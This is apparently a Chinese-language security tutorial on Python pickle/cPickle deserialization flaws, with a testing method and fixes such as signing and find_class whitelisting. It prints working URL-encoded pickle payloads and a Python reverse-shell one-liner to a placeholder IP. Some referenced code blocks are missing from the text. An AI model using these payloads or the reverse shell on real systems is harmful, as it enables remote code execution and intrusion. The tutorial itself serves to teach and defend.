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Python安全之反序列化——pickle/cPickle

article 2025/2/24 16:39:27

一．概述

Python中有两个模块可以实现对象的序列化，pickle和cPickle，区别在于cPickle是用C语言实现的，pickle是用纯python语言实现的，用法类似，cPickle的读写效率高一些。使用时一般先尝试导入cPickle，如果失败，再导入pickle模块。

pickle的应用场景一般有以下几种：

1）在解析认证token，session的时候；

（尤其web中使用的redis、mongodb、memcached等来存储session等状态信息）

2）将对象Pickle后存储成磁盘文件；

3）将对象Pickle后在网络中传输。

二．用法

pickle 具有两个重要的函数：

1）一个是dump(), 作用是接受一个文件句柄和一个数据对象作为参数，把数据对象以特定的格式保存到给定的文件中；

2）另一个函数是load()，作用是从文件中取出已保存的对象，pickle 知道如何恢复这些对象到他们本来的格式。

使用方式如下：

pickle.dump(obj, file, protocol=None, *, fix_imports=True)  //输出为文件对象
pickle.dumps(obj, protocol=None, *, fix_imports=True)  //输出为 bytes 对象
pickle.load(file)  // load参数是文件句柄
pickle.loads(file)  // loads参数是字符串

三．漏洞复现

1、本地命令执行

1）写一个最简单的demo环境，用户输入文件后使用pickle.load方法进行反序列化：

2）生成payload，定义执行calc命令的类，使用dumps方法进行序列化并输出到poc.pickle中：

3）执行此payload：

4）模拟实现一个更为真实的web环境，取路径中的参数后使用cPickle.loads方法反序列化：

5）将刚才生成的payload进行url编码，请求：

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A.

2、任意代码执行（任意函数构造）

将上述的calc改为下面的字符串可实现反弹shell：

python-c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这种通过-c参数只能执行相对简单的代码，如果出现了一些自定义函数，要序列化的对象就成了code类型。

但是pickle不能序列化code对象，这里简单测试一下：将要执行的代码都写到一个函数里foo()，尝试反序列化代码对象：

问题解决：从python2.6起，包含了一个可以序列化code对象的模块Marshal。由于python可以在函数当中再导入模块和定义函数，故可以将自己要执行的代码都写到一个函数foo()里：

得到payload：

http://127.0.0.1:8000/?payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMwAAAARDovb3RoZXIvUHl0aG9uX3NlYy9QaWNrbGVSQ0UvcGlja2xlX3BvY19nZW4wLnB5UgEAAAALAAAAcwYAAAAAAQwBBAFzCQAAAGZpYigxMCkgPWkKAAAAdAQAAABjYWxjKAIAAAB0AgAAAG9zdAYAAABzeXN0ZW0oAQAAAFIDAAAAKAAAAAAoAQAAAFIBAAAAczAAAABEOi9vdGhlci9QeXRob25fc2VjL1BpY2tsZVJDRS9waWNrbGVfcG9jX2dlbjAucHl0AwAAAGZvbwkAAABzCAAAAAABDAEPBA8B%27%0AtRtRc__builtin__%0Aglobals%0A%28tRS%27%27%0AtR%28tR.

3、其他payload：

国外文档：http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdfhttp://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

更多payload：GitHub - sensepost/anapickle: Toolset for writing shellcode in Python's Pickle language and for manipulating pickles to inject shellcode.Toolset for writing shellcode in Python's Pickle language and for manipulating pickles to inject shellcode. - sensepost/anapicklehttps://github.com/sensepost/anapickle

四．测试方法

根据漏洞原理进行测试： 1）查找是否引入pickle/cPickle包；

2）若引入则查看并是否进行了pickle.load(param)或pickle.loads(param)操作；

3）若参数输入可控，则可能存在反序列化漏洞，构造payload进行利用。

五．修复方案

1）确保反序列化对象不可控，且在传递前请进行签名或者加密，防止篡改和重播

2）如果序列化数据存储在磁盘上，请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据

3）将 pickle 加载的数据列入白名单，可使用官方推荐的find_class方法,使用白名单限制反序列化引入的对象pickle — Python object serialization — Python 3.7.17 documentationhttps://docs.python.org/3.7/library/pickle.html#pickle-restrict

六、沙盒绕过

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdfhttp://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf https://github.com/phith0n/code-breaking/tree/master/2018/picklecodehttps://github.com/phith0n/code-breaking/tree/master/2018/picklecode https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_gamehttps://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game